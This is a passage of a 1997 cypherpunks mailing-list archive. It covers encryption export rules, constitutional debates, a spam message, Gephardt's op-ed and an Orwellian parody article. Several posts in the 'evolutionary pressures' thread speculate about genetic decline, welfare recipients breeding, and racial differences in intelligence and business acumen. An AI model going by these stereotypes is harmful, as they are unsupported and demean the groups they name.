for instance, may find that the regulation is another regulatory
burden to providing online banking.

Stewart Baker, a former general counsel for the National Security
Agency who now practices at the Washington law firm Steptoe &
Johnson, said that the difficulty the regulators face is that the
regulations must adapt to a quickly changing Internet environment.

"They're saying 'Here's the basic standard. Show us what you're
trying to do. If you're doing what we feel is a good faith effort,
then we'll approve it,'" Baker said. "They don't quite say that,
but I suspect that's what's going on."

To draw an analogy, he compared the action to a hand check in
basketball, a move by which a defensive player warns someone with
a ball that they're there by touching them.

Adam Shostack, a Boston-based consultant to several major banks
and financial institutions, said that the current rules were already
making it difficult for his clients to take care of their foreign
customers. The new regulations, Shostack predicted, will just make
matters worse.

"We've never needed the permission of the government to publish
anything in this country," Shostack said. "I don't see where their
legal authority comes from. You can't make reasonable business
plans when they reserve the right to change the rules in bizarre
and unconstitutional ways."

The rest of the proposed regulatory changes would provide clarifications
to unanswered questions that others have had. For instance, source
code could be shipped without restriction to Canada without a
license if the new regulations are adopted. Software could also be
shipped to Bulgaria, the Czech Republic, Hungary, Poland, Romania
and Slovakia without support documentation.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: money@fundsrecovery.com
Date: Mon, 25 Aug 1997 05:12:44 +0800
To: <cypherpunks@toad.com>
Subject: You Have Over a 50% Chance of Being Owed Money!
Message-ID: <199708242058.NAA07996@cygnus.com>
MIME-Version: 1.0
Content-Type: text/plain




ATTENTION:  This is an awareness notification from Personal Funds
Recovery, Inc.  http://www.fundsrecovery.com

We want to inform the American public about money they are owed, and
then help them get it back.  

There is over 400 billion dollars in unclaimed money in the U.S.  

More than 50% of Americans are owed a portion of this money.  

You should check to see if you are owed some of this money.

It is unclaimed money that people simply forgot about or never knew
existed.  Here are some examples: checking and savings accounts, 
stocks and bonds, IRA accounts, teacher retirement plans, union pensions,
dividends, payroll checks, insurance policies, security deposits, safety
deposit boxes, pension funds, the Social Security Administration, United
States Treasury, Internal Revenue Service, and many, many more.

Visit our web site at http://www.fundsrecovery.com and we will conduct
a search for you.  We can also perform a search for Canadians! 

P.S.  If you wish to be removed from further notifications please reply
by email and include the word remove in the subject heading.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 25 Aug 1997 02:55:39 +0800
To: cypherpunks@toad.com
Subject: National Labs Want Dole or Deal
Message-ID: <1.5.4.32.19970824183320.006850f8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



NYT reported yesterday on the national labs efforts to attract
commercial clients to offset declines in national security funding, 
with Sandia being featured.

   http://jya.com/sandia.htm

We've been receiving from Bill Payne, ex-Sandia cryptographer,
a series of reports and letters on what's happening to enraged
Sandia scientists and staff as the budgets decline and piddling
new missions are sought, while facing the congressional threat to 
close all the labs and the entire Department of Energy. We'll offer
one of the astute assessments shortly which describes the
bind imported managers are in to turn the labs into dog-eat-dog 
corporate sweatshops, and how the not so dumb scientists are 
learning to fuck with the heads of the hatcheters, refusing to work,
bickering, prolonging disputes, sabotaging projects, maybe/maybe 
not whispering secrets to bad people in other countries, or worst of 
all, disclosing vital national information to commercial interests, that
is, outfox management by arranging a private deal.

As the NY Times recently reported on the fearsome threats nuclear 
weapons scientists are making to keep funding coming, noting that 
the Russians are doing the same, all rather brilliantly saying: keep us 
"peacekeepers" doing the dirty work happy or suffer the consequences 
when the loyal patriotic guards go over the fence, or simpler, open the 
gates, that is sell the PAL codes, barter the diagrams, to maintain 
our "entitlement".

Yep, the Sandia manager claims that the best and brightest scientists
of the US believe that their dole should be for life. Or they are going to
get very black market ammo oriented, that's market-Oriented.

The Times editorialized today that the nation's leaders must not give
in to nuclear blackmail from its own professional nuclear blackmailers.
Yet who's going to pay the nuclear gunslingers if we don't? 

Eh, Mr. Crispin? What do you know that we don't and what will you
charge to tell?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 25 Aug 1997 03:52:19 +0800
To: Tim May <tcmay@got.net>
Subject: Re: When did "Congress" become "States"?
In-Reply-To: <v03102800b0257f3fd0ae@[207.167.93.63]>
Message-ID: <199708241950.OAA17639@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



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In <v03102800b0257f3fd0ae@[207.167.93.63]>, on 08/23/97 
   at 11:21 PM, Tim May <tcmay@got.net> said:

>I think I'll look into look into this, as it's an interesting issue of
>just when the "Congress shall make no law" evolved into "states shall
>make no laws."

Hi,

I did some more research on 14th Amendments Test Cases. Seems that anyone
wishing to learn more about this should read the Opinion's from the
Slaughterhouse Case:

http://www2.law.cornell.edu/cgi-bin/foliocgi.exe/historic/query=[Group+83+U!2ES!2E+36!3A]!28[level+Case+Citation!3A]!7C[group+citemenu!3A]!29/doc/{@1}/hit_headings/words=4/hits_only?firsthit

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lutz@iks-jena.de (Lutz Donnerhacke)
Date: Sun, 24 Aug 1997 22:58:20 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Mathematics > NSA + GCHQ
In-Reply-To: <v03102803b023719e4bce@[207.167.93.63]>
Message-ID: <slrn600ini.vj4.lutz@belenus.iks-jena.de>
MIME-Version: 1.0
Content-Type: text/plain



* Lucky Green wrote:
>Now imagine if the prize was $1,000,000 or $10M. That's real money to just
>about every student out there. Every box at every university would be

Or remember the CCC project: They collect US$ 400,000 to build there own
public Wiener machione to break DES regulary...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Mon, 25 Aug 1997 03:18:48 +0800
To: Firebeard <stend+cypherpunks@sten.tivoli.com>
Subject: Re: Inside the Cypherpunks Cult (fwd)
In-Reply-To: <vpzpq8o2dw.fsf@sten.tivoli.com>
Message-ID: <Pine.LNX.3.96.970824142509.597A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain



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On 23 Aug 1997, Firebeard wrote:

> MM> The militia is different from the military force.
> 
> 	It is?  It seems to me that military force is military force,
> regardless of what uniforms it's dressed in.  I forgot that it's so
> much nicer to be shot by the New Jersey National Guard than the US
> Marine Corps.  And Washington sent in the militia only because he
> didn't have enough 'regular' troops.

The states have more control over the militia than the federal government.
Also, it is important to keep in mind, that at the time the Constitution
was ratified, the militia consisted of every able-bodied, white man between
the ages of 18 and 45.  Because the militia consisted of "ordinary" people
instead of professional soldiers, it was not seen as a risk to liberty
like a standing army, much in the same way that trial by jury is not as
dangerous to liberty as trial by a military commission.  Hamilton wrote
in Federalist #24:

"There is something so far-fetched and so extravagant in the idea of
danger to liberty from the militia, that one is at a loss whether to
treat it with gravity or with raillery... .  Where in the name of
common-sense, are our fears to end if we may not trust our sons, our
brothers, our neighbors, our fellow-citizens?  What shadow of danger
can there be from men who are daily mingling with the rest of their
countrymen... ."

> MM> The U.S. Constitution explicitly states in Article I, Section 8,
> MM> that the militia may be called forth (by the federal government)
> MM> to enforce federal law.  The army and other military forces,
> MM> however, were not given this power
> 
> 	But they were not explicitly denied it, either.

The purpose of the Constitution was not to explicitly deny certain powers
of the federal government, but to explicitly grant powers to the federal
government.  The ninth and tenth amendments make this very clear.

> MM> and were not intended to be permanent establishments, either.
> 
> 	Agreed.  Has anyone ever attempted to sue the US Army as being
> unconstitutional, given the prohibition of a standing army?

The army can only be funded for two years at a time.  Congress renews
funding every two years to the army.  The army cannot exist without
Congress' approval.  A prohibition of a "standing army" would not have
been very meaningful given that there is no clear definition of this
term.

> MM> Over a hundred years ago, the Posse Comitatus Act was passed which
> MM> forbid the military from arresting or questioning American
> MM> citizens.
> 
> 	Ah, Congress had to pass a law to ban it, eh?  Well, what
> Congress giveth, Congress can taketh away - and did.  I don't recall
> the exact law or bill, but they exempted the military from the Posse
> Comitatus Act in one of the 'War on Drugs' laws.

The "drug war" activities of the army are perfectly within the limits of
the Posse Comitatus Act.  Military officers watch out for drug
traffickers and call out law enforcement to make an arrest.  The military
cannot make any arrests themselves.  This probably violates the spirit of
the Posse Comitatus Act, but not the letter.  I'm not exactly sure of the
historical context of the Posse Comitatus Act, but I do think it was
passed in reaction to the powers the president gained during the Civil War.
Lincoln suspended the writ of habeas corpus and instituted martial law
without Congress' approval, which is almost certainly unconstitutional.
As late as 1870, some people were still being tried by military commission
even though the Civil War had already ended.  This was probably the case of
Congress reacting to an unconstitutional exercise of power on the part of
the president and the military rather than abolishing a constitutionally
protected practice.



Mark
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Mon, 25 Aug 1997 05:39:10 +0800
To: cypherpunks@cyberpass.net
Subject: None
Message-ID: <JRa7z5F/TpMq2fIvRkgkwQ==@JawJaCrakR>
MIME-Version: 1.0
Content-Type: text/plain




Jim Choate wrote:
> I suspect that there is a certain level of misrepresentation of what
> went on during the Whiskey Rebellion (which I was aware of before
> your elucidation).  Near as I can tell Washington acted responsibly
> within the bounds of the intent and word of the Constitution.

Here's a broad outline from memory.  Some details may be in error:

During the Revolution, many people lent their money to the Continental
Congress so it could prosecute the war.  During and after the
Revolution, the credit rating of the Continental Congress dropped.

Many of these people, such as those in Western Pennsylvania, sold
their claim on the Continental Congress for nickels on the dollar,
mostly to members of the better connected financial community in New
York.

Enter the Federal Government.  After it was established, Hamilton, a
well connected member of the financial community in New York,
announced that the new Government would honor the debt of the
Continental Congress.

The people in Western Pennsylvania were not happy to have sold their
debt.

Where was the Federal government to get the money?  Why, by taxing
their whisky!  As many of these people had fought and seen their
friends and relatives die over the question of taxes and freedom, they
were less than delighted with this new development.

The financial community in New York was widely suspected of being
sympathetic to the British, which made the new policies more
upsetting.

What you would expect to happen, happened.

There was a substantial movement opposed to the Constitution.  The
Bill of Rights originated as a sweetener to appease this movement.  It
is fair to say everybody's fears have been realized.

It may not have been the worst deal ever, though.  While it caused the
Civil War, it also prevented the Europeans from playing
divide-and-conquer games with the States and made possible the most
successful foreign policy in the history of the world.

For the point of view of the skeptics see:
Storing, Herbert J. Ed. "The Anti-Federalists" Chicago:University 
of Chicago Press, 1985 (ISBN 0-226-77565-8)

Just Another Cypherpunk







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 25 Aug 1997 06:31:50 +0800
To: cypherpunks@toad.com
Subject: Re: Stealth Helicopters
Message-ID: <1.5.4.32.19970824215734.006e143c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



DisgustedMonger wrote:

>  I was watching a 'crop' in Humbold County, CA, in the early 80's
>and was standing near the top of a hill one day when I heard a
>slight "whoosh, whoosh" for about three seconds before a helicopter
>came over the hill, scaring the living shit out of me.
>  I imagine that in the 15 or so years since then, the govt has
>managed to make them invisible, as well.

The GAO reports that the B-2 stealth bomber cannot fly in the rain,
which transforms stealth technology into junk. Moreover, the fragile 
machine needs strict atmospheric control in the hangar or its skin 
rots and delicate innards peter out, and because there are none of 
the luxurious digs overseas, the plane cannot be deployed closer to 
targets, thereby limiting its threat. The problem is apparently unsolvable 
for less than the cost of the plane itself, so they've got to be pickled 
and coddled indefinitely or thrown away.

   http://jya.com/nsiad-97-181.txt

Once armaments, tactics and strategy were battle-tested by using 
them for war, now with high-price simulation being widely deployed
to save money, it's pretty certain that the price of war games will 
eventually rise to cost exactly the same as an actual war, indeed
will make war a cheaper alternative.

What's a wonder is that GAO never finds serious fault with any of
the government programs it judiciously investigates. Instead, after 
due research, request for comments from those investigated, and
fair deliberation, the somewhat tawdry matters at hands merely 
require additional funding for fine tuning and keep the congressional 
sponsors happy to fund the programs, the watch-dogs and shrewdly 
voting taxpayers doing what needs to be done to complain and bank
their cut, short 10% for all the world's sterling leaders. 

Jeez, is this a California dream of virtual reality war games forever 
or the bleeding edge of the future set in motion at the dawn of:
making peace, making war, what's the diff so long as me and mine
never get drafted, never take the actual hit, never wake up dead?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Mon, 25 Aug 1997 09:23:49 +0800
To: cypherpunks@cyberpass.net
Subject: gephardt slams crypto regs
Message-ID: <199708250116.SAA22371@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




------- Forwarded Message

Date: Sat, 23 Aug 1997 00:57:05 -0700
From: "J. Orlin Grabbe" <kalliste@aci.net>
Subject: [Fwd: Encryption is vital to the Net BY RICHARD A. GEPHARDT]


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From: softwar@us.net (SOFTWAR)
Newsgroups: talk.politics.crypto,alt.wired,alt.politics.democrats.d,alt.politics.usa.republican,alt.politics.clinton,alt.president.clinton,talk.politics.misc,alt.politics.usa.misc,alt.politics.usa.congress,alt.whitehous.gov,alt.politics.org.cia,alt.politics.org.nsa,alt.politics.org.fbi
Subject: Encryption is vital to the Net BY RICHARD A. GEPHARDT
Date: Fri, 22 Aug 1997 22:22:02 GMT
Organization: SOFTWAR
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Encryption is vital to the Net

 BY RICHARD A. GEPHARDT

 THE Clinton administration's recent call for a ``non-regulatory,
market-oriented''  approach to promoting Internet commerce includes
many constructive initiatives.   However, if we are to realize the
full potential of the Internet, we must also end the  outdated
restrictions on U.S. exports of encryption products.

 Encryption, which encodes electronic messages so that only a
recipient with the  ability to decode the message can read it, is
vital to the future of Internet  commerce. It prevents crime by
keeping hackers from reading your e-mail or  stooling your credit card
numbers. It helps companies protect trade secrets. As  more
information flows over the open networks that constitute the Internet,
people  increasingly need encryption to keep their information secure.

 Because encryption is not restricted domestically, you would think
American  companies would be global leaders in world markets. But
often they aren't allowed  to compete. Fearing the availability of
encryption abroad could make it more  difficult for the U.S.
government to intercept the communications of criminals and
 gather intelligence, the current and past Administrations have chosen
to maintain  strict export controls on encryption. The level of
encryption U.S. companies are permitted to export is now so weak that
a college hacker can break it in less than  four hours.

 If export controls could keep encryption from criminals, controls
would make  sense. But U.S. self-restraint has simply encouraged
foreign producers of strong  encryption, who are not covered by export
limits, to fill the vacuum. Hundreds of  strong encryption products,
many developed in countries like Canada, Ireland, Germany and Russia,
are increasingly available abroad. And as foreign competitors
 use their advantage in encryption to win more high-tech sales, we
lose jobs.

 The National Research Council's blue-ribbon panel on encryption
policy recently  warned that ``foreign competition could emerge at a
level significant enough to  damage the present U.S. world
leadership'' in the software industry. Such damage could jeopardize
hundreds of thousands of high-paying jobs. It could also  undermine
our national security, according to the Council, by making it harder
for  the U.S. government to keep abreast of evolving encryption
technology in the  future. The Council endorsed a relaxation of export
controls in order to maintain the U.S. lead in this vital sector.

 The Administration has proposed a ``key recovery'' system to require
users to  make available to governments the ``keys''' to decode their
private communications. But giving governments worldwide ready access
to individuals' private information and to corporate secrets raises
difficult issues. Will U.S. firms operating in China be forced to
trust that government with the keys to their trade secrets? Will human
rights groups abroad, where U.S. constitutional protections do
 not apply, be forced to give authoritarian governments the keys to
their membership lists? Can we really expect criminals to give up
their keys so that they may be made available to the government?

 Key recovery won't work unless the many countries that produce
encryption adopt it. Otherwise criminals could still obtain encryption
from non-complying countries.  But countries like Germany have refused
to support key recovery. Indeed, they have a strong economic incentive
to resist. As long as the international disagreements persist and we
hog-tie our industry, their's will enjoy an advantage in world
markets.

 The National Research Council urged a balanced approach to this
problem: improve security on the Internet and prevent crime by
relaxing exports controls and allowing U.S. exporters to meet the
competition. Maintain robust controls against rogue nations. Impose
penalties for misusing encryption to commit crime.  And invest in
additional technical capabilities to help our intelligence agencies
adjust to the information age.

 Led by Members like Congresswoman Zoe Lofgren, D-San Jose, more than
250 Democrats and Republicans in the House of Representatives --
myself included -- have joined in support of the Security and Freedom
through Encryption (SAFE) bill to relax export controls and advance
many of the recommendations of the National Research Council.

 With growing support, the SAFE bill makes it clear that the Congress
will not tolerate the continued shackling of our high-tech sector. We
are willing to work with all sides to develop a consensus on a
workable, market-oriented approach that can advance our law
enforcement interests and win international acceptance.
 But we aren't willing to simply watch the current stalemate continue
and keep U.S. industry on the sidelines. It is time to move forward
and modernize our export policies for the information age.


 Rep. Richard A. Gephardt, D-Mo., is the House Democratic leader. 

 Published Thursday, August 21, 1997, in the San Jose Mercury News 





- -> Send "subscribe   snetnews " to majordomo@world.std.com
- ->  Posted by: "J. Orlin Grabbe" <kalliste@aci.net>


------- End of Forwarded Message





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Mon, 25 Aug 1997 08:17:53 +0800
To: money@fundsrecovery.com
Subject: Re: You Have Over a 50% Chance of Being Owed Money!
In-Reply-To: <199708242058.NAA07996@cygnus.com>
Message-ID: <Pine.BSF.3.91.970824184353.10860A-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain





On Sun, 24 Aug 1997 money@fundsrecovery.com wrote:

> 
> ATTENTION:  This is an awareness notification from Personal Funds
> Recovery, Inc.  http://www.fundsrecovery.com
> 
SNIP
> Visit our web site at http://www.fundsrecovery.com and we will conduct
> a search for you.  We can also perform a search for Canadians! 

Please let us know if you find any Canadiens. We seem to have lost one.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 25 Aug 1997 03:17:42 +0800
To: kent@songbird.com
Subject: Re: lack of evolutionary pressures (was Re: An end to "court appointed attorneys")
In-Reply-To: <19970823221015.57855@bywater.songbird.com>
Message-ID: <199708241758.SAA01186@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Kent Crispin <kent@songbird.com> writes:
> > "The children" is a war cry which will ensure the continuance of state
> > funded negative evolutionary pressures.
> 
> In general, I would say that you are describing a remarkably
> simplistic view of evolution.  Off the top, two things I think you are
> missing:
> 
>     - first, you make the common mistake of assuming that evolution 
>     has a purpose somehow aligned with your moral view of things

No.  Evolution is blind.  Evolution is just a word to describe the
fact that genes which result in an increased likelihood of death prior
to breeding tend to not to be passed on.

I was arguing that I think current evolutionary pressures tend to work
against the criteria for increasing intelligence.  This claim is
complicated by the fact that intelligence is hard to measure.  Lets
say we choose IQ tests for the sake of argument.  Then I'm not even
sure how secure the claim that ability to pass IQ test has a large
hereditary correlation, So I don't know whether children of parents
who both had IQ measured at > 200 necessarily have children with
higher IQ than where one parent was > 200 and the other < 200.

There are also difficulties in isolating inherited factors from
environmental factors.

Modern medicine tends I think to work against the criteria of
producing healthy specimens.  (People who would have died as children
due to hereditary defects, living on to have children thanks to
medicine.  Also people who can't breed, having medical assistance to
have children.  Caesarian sections for females with too narrow hips to
easily give birth.  Lots of other examples).

Similarly difficult to influence medical evolutionary pressures --
what're you going to do?  Give our breeding permits based on
government decided criteria?

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 25 Aug 1997 10:18:33 +0800
To: cypherpunks@toad.com
Subject: Prior Restraint on Publishers
Message-ID: <v03102803b02698537aaf@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




I used to think things like this would be quickly declared
unconstitutional, but not any longer. The New Order is making things like
this all too predictable. I just hope Adam Shostack does not get in even
more trouble for speaking out.

--Winston Smith


>
>From the New Yerk Tomes cybertimes:
>
>Proposed U.S. Rules Would Place Prior Restraint on Publishers
>
>By PETER MAYNOR
>
>Under a proposed set of rules being circulated by the Commerce
>Department, the Clinton Administration is considering regulating
>Web servers that allow publishing of political tracts and other forms
>of information. Among the sites that would be affected are those now
>operated by organizations like Planned Parenthood, the National Rifle
>Association, and Citizens for the Destruction of Washington, all of
>which distribute publications over the Web. Under the proposed rules,
>access to such sites would be more tightly controlled or could disappear
>altogether in the future.
>
>The requirement for Federal approval of a Web server, however, is
>buried inside the densely written, virtually impenetrable document,
>and the change is not even noted in the executive summary at the
>beginning. The new regulation would require that anyone setting up
>a Web server offering published materials seek an "advisory opinion"
>from the Bureau of Thoughtcrime Affairs.
>
>The opinions carry no weight in court and only serve as an indication
>of the agency's view on the matter at a given moment. A company
>could later be prosecuted for publishing materials despite receiving
>permission in an advisory opinion, although the existence of the
>opinion should offer some emotional support with the court. Failure to
>seek >permission will likely be interpreted by courts as evidence of
>criminal tendencies.
>
>The purpose of the rule is to force the Web server to take all prudent steps
>to ensure that publications do not violate the laws of the United States.
>
>The proposed regulations do not set out any hard and fast guidelines
>for an organization to meet.  The new regulations hwould effectively force
>>organzations to shut down their Web servers until the Ministry of Truth
>could rule on the material -- a process that can take several months.
>
>Brewart Staker, a former general counsel for the Ministry of Truth who now
>>practices at the Washington law firm Goldsgtein, Blair & Orwell, said
>that the >difficulty the regulators face is that the regulations must
>adapt to a quickly >changing Internet environment.
>
>"They're saying 'Here's the basic standard. Show us what you're trying to
>do. If you're doing what we feel is a good faith effort, then we'll
>approve it,'" >Staker said. "They don't quite say that, but I suspect
>that's what's going on."
>
>To draw an analogy, he compared the action to a hand check in basketball, a
>move by which a defensive player warns someone with a ball that they're
>there by touching them. "Think of this as just as a friendly >warning from
>Big >Brother, telling you he loves you and is looking out for your best
>interests."
>
>Adam Shostack, a Boston-based Cypherpunk facing imprisonment for
>belonging to a subversive organization,  said that the current rules were
>already making it difficult for his clients to publish their ideas. The
>new >regulations, Shostack predicted, will just make matters worse.
>
>"We've never needed the permission of the government to publish
>anything in this country," Shostack said. "I don't see where their
>legal authority comes from."
>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 25 Aug 1997 08:20:37 +0800
To: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Subject: Re: Why Not to use PGP 5.0
In-Reply-To: <199708250009.UAA02186@yakko.cs.wmich.edu>
Message-ID: <199708250016.TAA20643@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199708250009.UAA02186@yakko.cs.wmich.edu>, on 08/24/97 
   at 08:09 PM, Damaged Justice <frogfarm@yakko.cs.wmich.edu> said:

>http://www.shub-internet.org/why_not_pgp_5.html


Well I went to this web page and once again nothing but FUD.

Oh well better luck next time frogfarm,

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Comment: Registered_User_E-Secure_v1.1b1_ES000000

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bgJNuRe3gNNTA6WiN3BOqgDPXpUZS3um2uNWAdpHenVbt7vqM6YDhV6Igephyrer
W+1pUxftCoqQAsPcqoJCyMlLy513dv1NJin4phPO4zDJi9jXcUFJsCUFNKFpJ5TZ
atopyx/H1LU=
=udz1
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 25 Aug 1997 11:00:11 +0800
To: Adam Shostack <adam@homeport.org>
Subject: Re: Prior Restraint on Publishers
In-Reply-To: <v03102803b02698537aaf@[207.167.93.63]>
Message-ID: <v03102805b026a1c1b1d3@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:21 PM -0700 8/24/97, Adam Shostack wrote:
>Thanks.  :)
>

By the way, which list address are you now subscribed to...I switched from
algebra. com to cyberpass.net, but now expect to see 2-3 hours delay before
posts appear.

(This applies to others, too. I'm getting replies to my posts, when sent
directly to me, literally hours before seeing it on the list. Someone
mentioned subscribing to toad.com, which, to tell the truth, I thought had
vanished as a list origination site months ago.)

--Tim

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 25 Aug 1997 03:07:52 +0800
To: tcmay@got.net
Subject: Re: lack of evolutionary pressures
In-Reply-To: <v03102800b024c40254a7@[207.167.93.63]>
Message-ID: <199708241847.TAA01243@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Tim May <tcmay@got.net> writes:
> Main point: The human genome is now "weighed down" with more than 7
> billion persons, a large fraction of them still capable of
> reproducing. Bluntly put, it ain't going _anywhere_, at least not
> very fast. Changes in the characteristics of a species, loosely
> speaking, "evolution," happen faster in small populations.

I can see sufficiently small populations evolving quickly because in a
small population -- say 10 monkeys -- the monkey which got run over by
a truck because it was deaf, splat, end of deaf monkey gene, if it's
the only one.

But over large numbers say 700,000 or whatever, I can't see that it
makes much difference whether it's 700,000 or 7 billion.

I would've thought at that point it's more to do with the proportion
of the population with the genetic feature in question and the
magnititude of evolutionary pressure exerted by that feature.  

Clearly environment affects this, and a large population is more
likely to be geographically dispersed, and hence less prone to sudden
adverse environmental changes.

> The tribe of hominids forced out of trees by loss of forestation in
> the Rift Zone, for example, will undergo rapid changes over a few
> hundred generations.

So if 10% of the hominids by chance have an genetic characteristic
which increases their chances of `hacking it' long enough to propogate
their genes with no trees to 90% as compared to 20% for those without
this characteristic, clearly that gene set is going to propogate
pretty damn fast.

You could get some pretty fast propogation even in a population of 7
billion.  If there were an AIDs like virus with a airborne common cold
propogation vector, and a year incubation period, and 1% of the
population had some quirky genes which just happened to make them
immune to it, well that 1% gene would propogate very quickly.

> Billions of humans in the modern era, with essentially everyone
> reaching reproductive age, will not. The human genome is like a
> supertanker being hit by tennis balls: it just won't move.

There are currently practically no physical genetic advantages which
radically affect ability to breed (apart from extreme ones which mean
near certain death).  So yes, it's stagnant from that point of view.

There are however significant pressures exerted by different cultures,
which have different genetics.  Some cultures shun the idea of birth
control, and tend to have 2 or 3 times more children than average
educated westerners.  If that statistic holds for a few generations
there will be a lot more people around from these cultures.  There are
I think enough genetic differences between european genes and arabs,
asians as an example that I think it would be reasonable to argue that
this is having an effect on the human gene pool.

It is our collective shared memes which are suffering large scale
negative evolutionary pressures.  Be socially responsible, global
warming, food shortages, have few children.  Lots of other reasons
people don't have so many children ... gets in the way of career, long
term chore, commitment etc.  Reasons for welfare recipients to breed
more welfare recipients.

> Dumb people tend to mate with other dumb people, more or less. Lots
> of reasons for this, but look around and confirm it. So, this will
> lead to an ever-broader Bell curve of intelligence, right? Nope. For
> whatever complicated reasons, the curve has essentially reached its
> "normal broadness," to invent a phrase.  Or so I think is the
> case. Certainly there are ample statistics to show this.

That's a pretty interesting result.

Intelligence is an awfully hard thing to measure.  IQ tests and SAT
scores only show you what they test, ability to score at IQ test and
SATs.

> If Adam likes children, or wants them around him for whatever
> reason, fine. But any notion that 2 or 3 or even 5 children will
> affect the genome is wishful thinking. Look at the math.

A change in cultural values, societal norms, and welfare structures
over a sustained period could start to have some effects.

(Cultural norms change -- one of my grandfathers, an englishman, was
one of 20 children -- this used to be much more common.  17 of them
made it to adult life).

> (And not even the infamous "But what if _all_ smart and educated
> people thought this way?" applies. First, what Adam or Tim or Blanc
> does about having children will not affect the decisions of
> others. Magical Thinking 101 again.

Memes propogate in meme-space also.  The meme of global warming,
potential food shortages

> >The problem is that from a purely scientific evolutionary point of
> >view, the human race is surely regressing, the masses of negative
> >evolutionary pressures are certainly pushing this way.
> 
> I doubt this in the strongest possible way.
> 
> Australia was populated by the common criminals of England, the
> louts and scoundrels and thieves and murderers. (Perhaps some
> "political prisoners," but mostly common criminals.) And yet within
> a generation or two, Australia was thriving, and today nobody would
> argue that the descendants of convicts are dumb or backward.

Likely due be a number of effects, perhaps demonstrates that
intelligence and being exported from England don't necessarily
negatively correlate.  Also perhaps intelligence isn't that strongly
based on genetics.

There probably weren't any significant average genetic differences
between the freshly exported "scoundrels" by 18th century standards as
compared to the average genetic make up of english population.

Also I did hear that Hitlers super-race of children bred for selected
traits didn't work out that well.  Perhaps the environment they were
bought up in didn't help.  

Are there any studies which demonstrate any difference in intelligence
between races even, asians, africans, chinese, europeans, red-indians
etc?

There seems to be an observable difference in business acumen between
races .. of course this could easily be explained by their society and
customs.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 25 Aug 1997 03:16:50 +0800
To: frantz@netcom.com
Subject: Re: lack of evolutionary pressures (was Re: An end to "courtappointed attorneys")
In-Reply-To: <v03007811b024b0882aec@[207.94.249.75]>
Message-ID: <199708241900.UAA01256@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




